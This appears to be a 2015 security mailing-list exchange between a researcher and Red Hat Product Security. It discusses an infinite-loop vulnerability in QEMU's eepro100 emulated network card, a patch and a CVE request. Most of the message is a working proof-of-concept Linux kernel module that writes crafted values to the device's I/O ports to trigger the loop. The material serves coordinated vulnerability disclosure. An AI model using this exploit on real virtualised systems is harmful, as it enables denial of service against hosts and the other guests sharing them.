I think the patch can solve this vulnerability.
I confirm that the loop exist , the poc code can prove that.


#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/io.h>
#define PAGE_OFFSET 0x0C000000
MODULE_LICENSE("GPL");
static int hello_init(void)
{

  void* pvirt;
  void* pphy;
  unsigned long* pdbal;
  unsigned long* tdt;
  unsigned short status;
  pvirt =kmalloc(0x100,GFP_KERNEL);
  memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct
  pphy=virt_to_phys(pvirt);//get physical address
  printk(KERN_ALERT "%08x\n",pvirt);
  printk(KERN_ALERT "%08x\n",pphy);
  outl(pphy,0xc004);//write the address
  outw(0x0060,0xc002);
  outl(0,0xc004);//write the offset
  outw(0x0010,0xc002); //enter action_command function


return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "goodbye,kernel\n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_AUTHOR("qinghao tang");
MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n");

2015-11-20 14:10 GMT+08:00 P J P <ppan...@redhat.com>:

>   Hello Qinghao,
>
> +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
> | Currently what problem do you have? Perhaps I could provide more support.
>
>   Could you please confirm if the proposed patch here fixes the issue.
> Secondly there is uncertainty if the CB loop like Jason mentioned earlier
> is
> possible.
>
> | And please give this vulnerability a cve id.
>
>   Yes I will; As soon as the patch is ready for upstream.
>
> Thank you.
> --
> Prasad J Pandit / Red Hat Product Security Team
> 47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
>

Reply via email to